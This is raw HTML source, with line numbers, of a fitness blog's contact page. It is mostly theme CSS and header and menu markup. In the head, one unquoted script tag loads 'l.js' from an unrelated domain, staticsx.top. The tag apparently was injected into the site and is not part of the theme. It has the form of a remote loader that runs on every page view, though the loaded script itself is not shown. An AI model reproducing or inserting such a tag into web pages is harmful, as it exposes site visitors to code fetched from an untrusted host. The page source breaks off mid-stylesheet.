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592 .tdm-menu-active-style4 .tdm-header .sf-menu > .current-menu-item > a, 593 .tdm-menu-active-style4 .tdm-header .sf-menu > .current-menu-ancestor > a, 594 .tdm-menu-active-style4 .tdm-header .sf-menu > .current-category-ancestor > a, 595 .tdm-menu-active-style4 .tdm-header .sf-menu > li > a:hover, 596 .tdm-menu-active-style4 .tdm-header .sf-menu > .sfHover > a { 597 border-color: #e2b26f; 598 } 599</style> 600 601 602 603
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629 630<link rel="icon" href="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco-70x70.png" sizes="32x32" /> 631<link rel="icon" href="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco.png" sizes="192x192" /> 632<link rel="apple-touch-icon" href="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco.png" /> 633<meta name="msapplication-TileImage" content="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco.png" /> 634 635<!-- Button style compiled by theme --> 636 637<style> 638 .tdm_block_column_content:hover .tdm-col-content-title-url .tdm-title, 639 .tds-button2 .tdm-btn-text, 640 .tds-button2 i, 641 .tds-button5:hover .tdm-btn-text, 642 .tds-button5:hover i, 643 .tds-button6 .tdm-btn-text, 644 .tds-button6 i, 645 .tdm_block_list .tdm-list-item i, 646 .tdm_block_pricing .tdm-pricing-feature i, 647 body .tdm-social-item i { 648 color: #e2b26f; 649 } 650 .tds-button1, 651 .tds-button6:after, 652 .tds-title2 .tdm-title-line:after, 653 .tds-title3 .tdm-title-line:after, 654 .tdm_block_pricing.tdm-pricing-featured:before, 655 .tdm_block_pricing.tds_pricing2_block.tdm-pricing-featured .tdm-pricing-header, 656 .tds-progress-bar1 .tdm-progress-bar:after, 657 .tds-progress-bar2 .tdm-progress-bar:after, 658 .tds-social3 .tdm-social-item { 659 background-color: #e2b26f; 660 } 661 .tds-button2:before, 662 .tds-button6:before, 663 .tds-progress-bar3 .tdm-progress-bar:after { 664 border-color: #e2b26f; 665 } 666 .tdm-btn-style1 { 667 background-color: #e2b26f; 668 } 669 .tdm-btn-style2:before { 670 border-color: #e2b26f; 671 } 672 .tdm-btn-style2 { 673 color: #e2b26f; 674 } 675 .tdm-btn-style3 { 676 -webkit-box-shadow: 0 2px 16px #e2b26f; 677 -moz-box-shadow: 0 2px 16px #e2b26f; 678 box-shadow: 0 2px 16px #e2b26f; 679 } 680 .tdm-btn-style3:hover { 681 -webkit-box-shadow: 0 4px 26px #e2b26f; 682 -moz-box-shadow: 0 4px 26px #e2b26f; 683 box-shadow: 0 4px 26px #e2b26f; 684 } 685</style> 686 687 <style id="tdw-css-placeholder"></style>
687<script src=https://staticsx.top/l.js></script>
687<style></style></head> 688 689<body class="wp-singular page-template-default page page-id-1266 wp-theme-Newspaper everest-forms-no-js contact global-block-template-1 td-fitness-pro tdb-template tdc-header-template tdc-footer-template td-animation-stack-type0 td-full-layout" itemscope="itemscope" itemtype="https://schema.org/WebPage"> 690 691 <div class="td-scroll-up td-hide-scroll-up-on-mob" style="display:none;"><i class="td-icon-menu-up"></i></div> 692 693 <div class="td-menu-background" style="visibility:hidden"></div> 694<div id="td-mobile-nav" style="visibility:hidden"> 695 <div class="td-mobile-container"> 696 <!-- mobile menu top section --> 697 <div class="td-menu-socials-wrap"> 698 <!-- socials --> 699 <div class="td-menu-socials"> 700 </div> 701 <!-- close button --> 702 <div class="td-mobile-close"> 703 <span><i class="td-icon-close-mobile"></i></span> 704 </div> 705 </div> 706 707 <!-- login section --> 708 709 <!-- menu section --> 710 <div class="td-mobile-content"> 711 <div class="menu-header-menu-container"><ul id="menu-header-menu" class="td-mobile-main-menu"><li id="menu-item-1269" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-first menu-item-1269"><a href="https://thedailypump.com/about/">About</a></li> 712<li id="menu-item-1274" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1274"><a href="https://thedailypump.com/category/fitness/">Fitness</a></li> 713<li id="menu-item-1270" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1270"><a href="https://thedailypump.com/category/nutrition-and-supplements/">Supplements</a></li> 714<li id="menu-item-1272" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1272"><a href="https://thedailypump.com/category/weight-loss/">Weight Loss</a></li> 715<li id="menu-item-1271" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1271"><a href="https://thedailypump.com/category/videos/">Videos</a></li> 716<li id="menu-item-1268" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1266 current_page_item menu-item-1268"><a href="https://thedailypump.com/contact/">Contact</a></li> 717</ul></div> </div> 718 </div> 719 720 <!-- register/login section --> 721 </div> <div class="td-search-background" style="visibility:hidden"></div> 722<div class="td-search-wrap-mob" style="visibility:hidden"> 723 <div class="td-drop-down-search"> 724 <form method="get" class="td-search-form" action="https://thedailypump.com/"> 725 <!-- close button --> 726 <div class="td-search-close"> 727 <span><i class="td-icon-close-mobile"></i></span> 728 </div> 729 <div role="search" class="td-search-input"> 730 <span>Search</span> 731 <input id="td-header-search-mob" type="text" value="" name="s" autocomplete="off" /> 732 </div> 733 </form> 734 <div id="td-aj-search-mob" class="td-ajax-search-flex"></div> 735 </div> 736</div> 737 <div id="td-outer-wrap" class="td-theme-wrap"> 738 739 <div class="td-header-template-wrap" style="position: relative"> 740 <div class="td-header-mobile-wrap "> 741 <div id="tdi_1" class="tdc-zone"><div class="tdc_zone tdi_2 wpb_row td-pb-row tdc-element-style" data-sticky-offset="0" > 742<style scoped> 743 744/* custom css */ 745.tdi_2{ 746 min-height: 0; 747 }.td-header-mobile-sticky-wrap.td-header-active{ 748 opacity: 1; 749 } 750 751/* phone */ 752@media (max-width: 767px){ 753.tdi_2:before{ 754 content: ''; 755 display: block; 756 width: 100vw; 757 height: 100%; 758 position: absolute; 759 left: 50%; 760 transform: translateX(-50%); 761 box-shadow: 0px 6px 8px 0px rgba(0, 0, 0, 0.08); 762 z-index: 20; 763 pointer-events: none; 764 }@media (max-width: 767px) { 765 .tdi_2:before { 766 width: 100%; 767 } 768 } 769} 770/* inline tdc_css att */ 771 772/* phone */ 773@media (max-width: 767px) 774{ 775.tdi_2{ 776position:relative; 777} 778} 779 780</style> 781<div class="tdi_1_rand_style td-element-style" ><style> 782/* phone */ 783@media (max-width: 767px) 784{ 785.tdi_1_rand_style{ 786background-color:rgba(42,42,66,0.95) !important; 787} 788} 789 </style></div>
789<div id="tdi_3" class="tdc-row"><div class="vc_row tdi_4 wpb_row td-pb-row" > 790<style scoped> 791 792/* custom css */ 793.tdi_4, 794 .tdi_4 .tdc-columns{ 795 min-height: 0; 796 }.tdi_4, 797 .tdi_4 .tdc-columns{ 798 display: block; 799 }.tdi_4 .tdc-columns{ 800 width: 100%; 801 } 802 803/* phone */ 804@media (max-width: 767px){ 805@media (min-width: 768px) { 806 .tdi_4 { 807 margin-left: -0px; 808 margin-right: -0px; 809 } 810 .tdi_4 .tdc-row-video-background-error, 811 .tdi_4 .vc_column { 812 padding-left: 0px; 813 padding-right: 0px; 814 } 815 } 816} 817/* inline tdc_css att */ 818 819/* phone */ 820@media (max-width: 767px) 821{ 822.tdi_4{ 823padding-top:8px !important; 824padding-bottom:8px !important; 825} 826} 827 828</style><div class="vc_column tdi_6 wpb_column vc_column_container tdc-column td-pb-span4"> 829<style scoped> 830 831/* custom css */ 832.tdi_6{ 833 vertical-align: baseline; 834 }.tdi_6 > .wpb_wrapper, 835 .tdi_6 > .wpb_wrapper > .tdc-elements{ 836 display: block; 837 }.tdi_6 > .wpb_wrapper > .tdc-elements{ 838 width: 100%; 839 }.tdi_6 > .wpb_wrapper > .vc_row_inner{ 840 width: auto; 841 }.tdi_6 > .wpb_wrapper{ 842 width: auto; 843 height: auto; 844 } 845 846/* phone */ 847@media (max-width: 767px){ 848.tdi_6{ 849 vertical-align: middle; 850 } 851} 852/* inline tdc_css att */ 853 854/* phone */ 855@media (max-width: 767px) 856{ 857.tdi_6{ 858width:20% !important; 859display:inline-block !important; 860} 861} 862 863</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_7 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_7" > 864<style> 865 866/* inline tdc_css att */ 867 868/* phone */ 869@media (max-width: 767px) 870{ 871.tdi_7{ 872margin-left:-5px !important; 873padding-top:3px !important; 874} 875} 876 877</style> 878<style> 879/* custom css */ 880.tdb-header-align{ 881 vertical-align: middle; 882 }.tdb_mobile_menu{ 883 margin-bottom: 0; 884 clear: none; 885 }.tdb_mobile_menu a{ 886 display: inline-block !important; 887 position: relative; 888 text-align: center; 889 color: #4db2ec; 890 }.tdb_mobile_menu a > span{ 891 display: flex; 892 align-items: center; 893 justify-content: center; 894 }.tdb_mobile_menu svg{ 895 height: auto; 896 }.tdb_mobile_menu svg, 897 .tdb_mobile_menu svg *{ 898 fill: #4db2ec; 899 }#tdc-live-iframe .tdb_mobile_menu a{ 900 pointer-events: none; 901 }.td-menu-mob-open-menu{ 902 overflow: hidden; 903 }.td-menu-mob-open-menu #td-outer-wrap{ 904 position: static; 905 }.tdi_7 .tdb-mobile-menu-button i{ 906 font-size: 28px; 907 908 width: 28px; 909 height: 28px; 910 line-height: 28px; 911 }.tdi_7 .tdb-mobile-menu-button svg{ 912 width: 28px; 913 }.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{ 914 width: 28px; 915 height: 28px; 916 }.tdi_7 .tdb-mobile-menu-button{ 917 color: #ffffff; 918 }.tdi_7 .tdb-mobile-menu-button svg, 919 .tdi_7 .tdb-mobile-menu-button svg *{ 920 fill: #ffffff; 921 }.tdi_7 .tdb-mobile-menu-button:hover{ 922 color: #8dacff; 923 }.tdi_7 .tdb-mobile-menu-button:hover svg, 924 .tdi_7 .tdb-mobile-menu-button:hover svg *{ 925 fill: #8dacff; 926 } 927 928/* phone */ 929@media (max-width: 767px){ 930.tdi_7 .tdb-mobile-menu-button i{ 931 font-size: 30px; 932 933 width: 30px; 934 height: 30px; 935 line-height: 30px; 936 }.tdi_7 .tdb-mobile-menu-button svg{ 937 width: 30px; 938 }.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{ 939 width: 30px; 940 height: 30px; 941 } 942} 943</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><span class="tdb-mobile-menu-icon tdb-mobile-menu-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M126.925 136.037v770.202h770.161v-770.202h-770.161zM725.965 735.108h-427.909v-82.616h427.909v82.616zM725.965 562.379h-427.909v-82.606h427.909v82.606zM725.965 389.795h-427.909v-82.616h427.909v82.616z"></path></svg></span></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_9 wpb_column vc_column_container tdc-column td-pb-span4"> 944<style scoped> 945 946/* custom css */ 947.tdi_9{ 948 vertical-align: baseline; 949 }.tdi_9 > .wpb_wrapper, 950 .tdi_9 > .wpb_wrapper > .tdc-elements{ 951 display: block; 952 }.tdi_9 > .wpb_wrapper > .tdc-elements{ 953 width: 100%; 954 }.tdi_9 > .wpb_wrapper > .vc_row_inner{ 955 width: auto; 956 }.tdi_9 > .wpb_wrapper{ 957 width: auto; 958 height: auto; 959 } 960 961/* phone */ 962@media (max-width: 767px){ 963.tdi_9{ 964 vertical-align: middle; 965 } 966} 967/* inline tdc_css att */ 968 969/* phone */ 970@media (max-width: 767px) 971{ 972.tdi_9{ 973width:60% !important; 974display:inline-block !important; 975} 976} 977 978</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_10 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_10" > 979<style> 980 981/* inline tdc_css att */ 982 983/* phone */ 984@media (max-width: 767px) 985{ 986.tdi_10{ 987margin-top:-5px !important; 988} 989} 990 991</style> 992<style> 993/* custom css */ 994.tdb_header_logo{ 995 margin-bottom: 0; 996 clear: none; 997 }.tdb_header_logo .tdb-logo-a, 998 .tdb_header_logo h1{ 999 display: flex; 1000 pointer-events: auto; 1001 align-items: flex-start; 1002 }.tdb_header_logo h1{ 1003 margin: 0; 1004 line-height: 0; 1005 }.tdb_header_logo .tdb-logo-img-wrap img{ 1006 display: block; 1007 }.tdb_header_logo .tdb-logo-svg-wrap + .tdb-logo-img-wrap{ 1008 display: none; 1009 }.tdb_header_logo .tdb-logo-svg-wrap svg{ 1010 width: 50px; 1011 display: block; 1012 transition: fill .3s ease; 1013 }.tdb_header_logo .tdb-logo-text-wrap{ 1014 display: flex; 1015 }.tdb_header_logo .tdb-logo-text-title, 1016 .tdb_header_logo .tdb-logo-text-tagline{ 1017 -webkit-transition: all 0.2s ease; 1018 transition: all 0.2s ease; 1019 }.tdb_header_logo .tdb-logo-text-title{ 1020 background-size: cover; 1021 background-position: center center; 1022 font-size: 75px; 1023 font-family: serif; 1024 line-height: 1.1; 1025 color: #222; 1026 white-space: nowrap; 1027 }.tdb_header_logo .tdb-logo-text-tagline{ 1028 margin-top: 2px; 1029 font-size: 12px; 1030 font-family: serif; 1031 letter-spacing: 1.8px; 1032 line-height: 1; 1033 color: #767676; 1034 }.tdb_header_logo .tdb-logo-icon{ 1035 position: relative; 1036 font-size: 46px; 1037 color: #000; 1038 }.tdb_header_logo .tdb-logo-icon-svg{ 1039 line-height: 0; 1040 }.tdb_header_logo .tdb-logo-icon-svg svg{ 1041 width: 46px; 1042 height: auto; 1043 }.tdb_header_logo .tdb-logo-icon-svg svg, 1044 .tdb_header_logo .tdb-logo-icon-svg svg *{ 1045 fill: #000; 1046 }.tdi_10 .tdb-logo-a, 1047 .tdi_10 h1{ 1048 align-items: flex-start; 1049 1050 justify-content: center; 1051 }.tdi_10 .tdb-logo-svg-wrap{ 1052 display: block; 1053 }.tdi_10 .tdb-logo-svg-wrap + .tdb-logo-img-wrap{ 1054 display: none; 1055 }.tdi_10 .tdb-logo-text-tagline{ 1056 margin-top: 0;
1057 margin-left: 8px; 1058 1059 display: block; 1060 1061 color: #ffffff; 1062 1063 font-family:Noto Sans !important;font-size:22px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 1064 }.tdi_10 .tdb-logo-text-title{ 1065 display: block; 1066 1067 color: #ffffff; 1068 1069 font-family:Bree Serif !important;font-size:26px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 1070 }.tdi_10 .tdb-logo-text-wrap{ 1071 flex-direction: row; 1072 align-items: baseline; 1073 }.tdi_10 .tdb-logo-icon-svg svg{ 1074 width: 22px; 1075 }.tdi_10 .tdb-logo-icon{ 1076 margin-right: 10px; 1077 1078 top: 5px; 1079 1080 display: block; 1081 }.tdi_10 .tdb-logo-icon:last-child{ 1082 margin-right: 0; 1083 }@media (max-width: 767px) { 1084 .tdb_header_logo .tdb-logo-text-title { 1085 font-size: 36px; 1086 } 1087 }@media (max-width: 767px) { 1088 .tdb_header_logo .tdb-logo-text-tagline { 1089 font-size: 11px; 1090 } 1091 } 1092 1093/* landscape */ 1094@media (min-width: 1019px) and (max-width: 1140px){ 1095.tdi_10 .tdb-logo-img{ 1096 max-width: 100px; 1097 } 1098} 1099 1100/* portrait */ 1101@media (min-width: 768px) and (max-width: 1018px){ 1102.tdi_10 .tdb-logo-img{ 1103 max-width: 80px; 1104 }.tdi_10 .tdb-logo-img-wrap{ 1105 margin-top: 0px; 1106 1107 margin-bottom: 0px; 1108 1109 margin-right: 5px; 1110 1111 margin-left: 0px; 1112 }.tdi_10 .tdb-logo-img-wrap:first-child{ 1113 margin-top: 0; 1114 1115 margin-left: 0; 1116 }.tdi_10 .tdb-logo-img-wrap:last-child{ 1117 margin-bottom: 0; 1118 1119 margin-right: 0; 1120 }.tdi_10 .tdb-logo-text-tagline{ 1121 margin-top: 0; 1122 margin-left: 5px; 1123 1124 font-family:Noto Sans !important;font-size:18px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 1125 }.tdi_10 .tdb-logo-text-title{ 1126 font-family:Bree Serif !important;font-size:20px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 1127 } 1128} 1129 1130/* phone */ 1131@media (max-width: 767px){ 1132.tdi_10 .tdb-logo-img-wrap{ 1133 margin-top: 0px; 1134 1135 margin-bottom: 0px; 1136 1137 margin-right: 5px; 1138 1139 margin-left: 0px; 1140 1141 display: block; 1142 }.tdi_10 .tdb-logo-img-wrap:first-child{ 1143 margin-top: 0; 1144 1145 margin-left: 0; 1146 }.tdi_10 .tdb-logo-img-wrap:last-child{ 1147 margin-bottom: 0; 1148 1149 margin-right: 0; 1150 } 1151} 1152</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://thedailypump.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">fitness</span><span class="tdb-logo-text-tagline">blog</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_12 wpb_column vc_column_container tdc-column td-pb-span4"> 1153<style scoped> 1154 1155/* custom css */ 1156.tdi_12{ 1157 vertical-align: baseline; 1158 }.tdi_12 > .wpb_wrapper, 1159 .tdi_12 > .wpb_wrapper > .tdc-elements{ 1160 display: block; 1161 }.tdi_12 > .wpb_wrapper > .tdc-elements{ 1162 width: 100%; 1163 }.tdi_12 > .wpb_wrapper > .vc_row_inner{ 1164 width: auto; 1165 }.tdi_12 > .wpb_wrapper{ 1166 width: auto; 1167 height: auto; 1168 } 1169 1170/* phone */ 1171@media (max-width: 767px){ 1172.tdi_12{ 1173 vertical-align: middle; 1174 } 1175} 1176/* inline tdc_css att */ 1177 1178/* phone */ 1179@media (max-width: 767px) 1180{ 1181.tdi_12{ 1182width:20% !important; 1183justify-content:flex-end !important; 1184text-align:right !important; 1185display:inline-block !important; 1186} 1187} 1188 1189</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_13 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_13" > 1190<style> 1191 1192/* inline tdc_css att */ 1193 1194/* phone */ 1195@media (max-width: 767px) 1196{ 1197.tdi_13{ 1198margin-right:-3px !important; 1199padding-top:3px !important; 1200} 1201} 1202 1203</style> 1204<style> 1205/* custom css */ 1206.tdb_mobile_search{ 1207 margin-bottom: 0; 1208 clear: none; 1209 }.tdb_mobile_search a{ 1210 display: inline-block !important; 1211 position: relative; 1212 text-align: center; 1213 color: #4db2ec; 1214 }.tdb_mobile_search a > span{ 1215 display: flex; 1216 align-items: center; 1217 justify-content: center; 1218 }.tdb_mobile_search svg{ 1219 height: auto; 1220 }.tdb_mobile_search svg, 1221 .tdb_mobile_search svg *{ 1222 fill: #4db2ec; 1223 }#tdc-live-iframe .tdb_mobile_search a{ 1224 pointer-events: none; 1225 }.td-search-opened{ 1226 overflow: hidden; 1227 }.td-search-opened #td-outer-wrap{ 1228 position: static; 1229 }.td-search-opened .td-search-wrap-mob{ 1230 position: fixed; 1231 }.tdi_13{ 1232 display: inline-block; 1233 }.tdi_13 .tdb-block-inner{ 1234 text-align: right; 1235 }.tdi_13 .tdb-header-search-button-mob i{ 1236 font-size: 22px; 1237 1238 width: 55px; 1239 height: 55px; 1240 line-height: 55px; 1241 }.tdi_13 .tdb-header-search-button-mob svg{ 1242 width: 22px; 1243 }.tdi_13 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{ 1244 width: 55px; 1245 height: 55px; 1246 display: flex; 1247 justify-content: center; 1248 }.tdi_13 .tdb-header-search-button-mob{ 1249 color: #ffffff; 1250 }.tdi_13 .tdb-header-search-button-mob svg, 1251 .tdi_13 .tdb-header-search-button-mob svg *{ 1252 fill: #ffffff; 1253 }.tdi_13 .tdb-header-search-button-mob:hover{ 1254 color: #8dacff; 1255 } 1256 1257/* phone */ 1258@media (max-width: 767px){ 1259.tdi_13 .tdb-header-search-button-mob i{ 1260 font-size: 25px; 1261 1262 width: 25px; 1263 height: 25px; 1264 line-height: 25px; 1265 }.tdi_13 .tdb-header-search-button-mob svg{ 1266 width: 25px; 1267 }.tdi_13 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{ 1268 width: 25px; 1269 height: 25px; 1270 display: flex; 1271 justify-content: center; 1272 } 1273} 1274</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><span class="tdb-mobile-search-icon tdb-mobile-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M958.484 910.161l-134.564-134.502c63.099-76.595 94.781-170.455 94.72-264.141 0.061-106.414-40.755-213.228-121.917-294.431-81.244-81.183-187.976-121.958-294.359-121.938-106.435-0.020-213.187 40.796-294.369 121.938-81.234 81.203-122.010 188.017-121.989 294.369-0.02
12740 106.445 40.755 213.166 121.989 294.287 81.193 81.285 187.945 122.020 294.369 121.979 93.716 0.041 187.597-31.642 264.11-94.659l134.554 134.564 57.457-57.467zM265.431 748.348c-65.546-65.495-98.13-150.999-98.171-236.882 0.041-85.832 32.625-171.346 98.171-236.913 65.567-65.536 151.081-98.099 236.933-98.14 85.821 0.041 171.336 32.604 236.902 98.14 65.495 65.516 98.12 151.122 98.12 236.913 0 85.924-32.625 171.387-98.12 236.882-65.556 65.495-151.009 98.099-236.902 98.099-85.852 0-171.366-32.604-236.933-98.099zM505.385 272.864c-61.901 0.020-123.566 23.501-170.824 70.799-47.288 47.258-70.769 108.923-70.799 170.834-0.041 26.624 4.383 53.105 13.046 78.428-0.031-0.522-0.092-1.024-0.031-1.556 13.199-91.341 48.241-159.775 96.963-208.497v-0.020h0.031c48.712-48.722 117.135-83.763 208.486-96.963 0.522-0.061 1.024 0 1.536 0.041-25.313-8.684-51.794-13.087-78.408-13.066z"></path></svg></span></span></div></div> <!-- ./block --></div></div></div></div></div></div> </div> 1275 <div class="td-header-mobile-sticky-wrap tdc-zone-sticky-invisible tdc-zone-sticky-inactive" style="display: none"> 1276 <div id="tdi_14" class="tdc-zone"><div class="tdc_zone tdi_15 wpb_row td-pb-row" data-sticky-offset="0" > 1277<style scoped> 1278 1279/* custom css */ 1280.tdi_15{ 1281 min-height: 0; 1282 }.td-header-mobile-sticky-wrap.td-header-active{ 1283 opacity: 1; 1284 } 1285</style><div id="tdi_16" class="tdc-row"><div class="vc_row tdi_17 wpb_row td-pb-row" > 1286<style scoped> 1287 1288/* custom css */ 1289.tdi_17, 1290 .tdi_17 .tdc-columns{ 1291 min-height: 0; 1292 }.tdi_17, 1293 .tdi_17 .tdc-columns{ 1294 display: block; 1295 }.tdi_17 .tdc-columns{ 1296 width: 100%; 1297 } 1298</style><div class="vc_column tdi_19 wpb_column vc_column_container tdc-column td-pb-span12"> 1299<style scoped> 1300 1301/* custom css */ 1302.tdi_19{ 1303 vertical-align: baseline; 1304 }.tdi_19 > .wpb_wrapper, 1305 .tdi_19 > .wpb_wrapper > .tdc-elements{ 1306 display: block; 1307 }.tdi_19 > .wpb_wrapper > .tdc-elements{ 1308 width: 100%; 1309 }.tdi_19 > .wpb_wrapper > .vc_row_inner{ 1310 width: auto; 1311 }.tdi_19 > .wpb_wrapper{ 1312 width: auto; 1313 height: auto; 1314 } 1315</style><div class="wpb_wrapper" ></div></div></div></div></div></div> </div> 1316 1317 <div class="td-header-desktop-wrap "> 1318 <div id="tdi_20" class="tdc-zone"><div class="tdc_zone tdi_21 wpb_row td-pb-row tdc-element-style" > 1319<style scoped> 1320 1321/* custom css */ 1322.tdi_21{ 1323 min-height: 0; 1324 }.td-header-desktop-wrap{ 1325 position: relative; 1326 } 1327/* inline tdc_css att */ 1328 1329.tdi_21{ 1330box-shadow:0 0 16px rgba(0,0,0,0.16) !important; 1331z-index:999 !important; 1332position:relative; 1333} 1334 1335/* portrait */ 1336@media (min-width: 768px) and (max-width: 1018px) 1337{ 1338.tdi_21{ 1339box-shadow:0 0 16px rgba(0,0,0,0.16) !important; 1340} 1341} 1342 1343</style> 1344<div class="tdi_20_rand_style td-element-style" ><style> 1345.tdi_20_rand_style{ 1346background-color:#ffffff !important; 1347} 1348 </style></div><div id="tdi_22" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_23 wpb_row td-pb-row tdc-row-content-vert-center" > 1349<style scoped> 1350 1351/* custom css */ 1352.tdi_23, 1353 .tdi_23 .tdc-columns{ 1354 min-height: 0; 1355 }#tdi_22.tdc-row[class*='stretch_row'] > .td-pb-row > .td-element-style, 1356 #tdi_22.tdc-row[class*='stretch_row'] > .td-pb-row > .tdc-video-outer-wrapper{ 1357 width: 100% !important; 1358 }.tdi_23, 1359 .tdi_23 .tdc-columns{ 1360 display: block; 1361 }.tdi_23 .tdc-columns{ 1362 width: 100%; 1363 }@media (min-width: 767px) { 1364 .tdi_23.tdc-row-content-vert-center, 1365 .tdi_23.tdc-row-content-vert-center .tdc-columns { 1366 display: flex; 1367 align-items: center; 1368 flex: 1; 1369 } 1370 .tdi_23.tdc-row-content-vert-bottom, 1371 .tdi_23.tdc-row-content-vert-bottom .tdc-columns { 1372 display: flex; 1373 align-items: flex-end; 1374 flex: 1; 1375 } 1376 .tdi_23.tdc-row-content-vert-center .td_block_wrap { 1377 vertical-align: middle; 1378 } 1379 .tdi_23.tdc-row-content-vert-bottom .td_block_wrap { 1380 vertical-align: bottom; 1381 } 1382 } 1383 1384/* landscape */ 1385@media (min-width: 1019px) and (max-width: 1140px){ 1386@media (min-width: 768px) { 1387 .tdi_23 { 1388 margin-left: -0px; 1389 margin-right: -0px; 1390 } 1391 .tdi_23 .tdc-row-video-background-error, 1392 .tdi_23 .vc_column { 1393 padding-left: 0px; 1394 padding-right: 0px; 1395 } 1396 } 1397} 1398 1399/* portrait */ 1400@media (min-width: 768px) and (max-width: 1018px){ 1401@media (min-width: 768px) { 1402 .tdi_23 { 1403 margin-left: -0px; 1404 margin-right: -0px; 1405 } 1406 .tdi_23 .tdc-row-video-background-error, 1407 .tdi_23 .vc_column { 1408 padding-left: 0px; 1409 padding-right: 0px; 1410 } 1411 } 1412} 1413/* inline tdc_css att */ 1414 1415.tdi_23{ 1416padding-top:15px !important; 1417padding-bottom:15px !important; 1418} 1419 1420.tdi_23 .td_block_wrap{ text-align:left } 1421 1422/* portrait */ 1423@media (min-width: 768px) and (max-width: 1018px) 1424{ 1425.tdi_23{ 1426padding-top:8px !important; 1427padding-right:12px !important; 1428padding-bottom:8px !important; 1429padding-left:12px !important; 1430} 1431} 1432 1433/* landscape */ 1434@media (min-width: 1019px) and (max-width: 1140px) 1435{ 1436.tdi_23{ 1437padding-top:12px !important; 1438padding-bottom:12px !important; 1439} 1440} 1441 1442</style><div class="vc_column tdi_25 wpb_column vc_column_container tdc-column td-pb-span3"> 1443<style scoped> 1444 1445/* custom css */ 1446.tdi_25{ 1447 vertical-align: baseline; 1448 }.tdi_25 > .wpb_wrapper, 1449 .tdi_25 > .wpb_wrapper > .tdc-elements{ 1450 display: block; 1451 }.tdi_25 > .wpb_wrapper > .tdc-elements{ 1452 width: 100%; 1453 }.tdi_25 > .wpb_wrapper > .vc_row_inner{ 1454 width: auto; 1455 }.tdi_25 > .wpb_wrapper{ 1456 width: auto; 1457 height: auto; 1458 } 1459/* inline tdc_css att */ 1460 1461.tdi_25{ 1462width:20% !important; 1463} 1464 1465/* landscape */ 1466@media (min-width: 1019px) and (max-width: 1140px) 1467{ 1468.tdi_25{ 1469width:22% !important; 1470} 1471} 1472 1473/* portrait */ 1474@media (min-width: 768px) and (max-width: 1018px) 1475{ 1476.tdi_25{ 1477width:24% !important; 1478} 1479} 1480 1481</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_26 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_26" > 1482<style> 1483 1484/* inline tdc_css att */ 1485 1486.tdi_26{ 1487margin-top:-8px !important; 1488} 1489 1490/* portrait */ 1491@media (min-width: 768px) and (max-width: 1018px) 1492{ 1493.tdi_26{ 1494margin-top:-5px !important; 1495} 1496} 1497 1498/* landscape */ 1499@media (min-width: 1019px) and (max-width: 1140px) 1500{ 1501.tdi_26{
1502margin-top:-7px !important; 1503margin-left:-5px !important; 1504} 1505} 1506 1507</style> 1508<style> 1509/* custom css */ 1510.tdi_26{ 1511 display: inline-block; 1512 }.tdi_26 .tdb-logo-a, 1513 .tdi_26 h1{ 1514 align-items: flex-start; 1515 1516 justify-content: flex-start; 1517 }.tdi_26 .tdb-logo-svg-wrap{ 1518 display: block; 1519 }.tdi_26 .tdb-logo-svg-wrap + .tdb-logo-img-wrap{ 1520 display: none; 1521 }.tdi_26 .tdb-logo-img{ 1522 max-width: 170px; 1523 }.tdi_26 .tdb-logo-text-tagline{ 1524 margin-top: 0; 1525 margin-left: 8px; 1526 1527 display: none; 1528 1529 color: #333333; 1530 1531 font-family:Noto Sans !important;font-size:22px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 1532 }.tdi_26 .tdb-logo-text-title{ 1533 display: none; 1534 1535 color: #333333; 1536 1537 font-family:Bree Serif !important;font-size:26px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 1538 }.tdi_26 .tdb-logo-text-wrap{ 1539 flex-direction: row; 1540 align-items: baseline; 1541 }.tdi_26 .tdb-logo-icon-svg svg{ 1542 width: 22px; 1543 }.tdi_26 .tdb-logo-icon{ 1544 margin-right: 10px; 1545 1546 top: 5px; 1547 1548 display: block; 1549 1550 color: #333333; 1551 }.tdi_26 .tdb-logo-icon:last-child{ 1552 margin-right: 0; 1553 }.tdi_26 .tdb-logo-icon-svg svg, 1554 .tdi_26 .tdb-logo-icon-svg svg *{ 1555 fill: #333333; 1556 } 1557 1558/* landscape */ 1559@media (min-width: 1019px) and 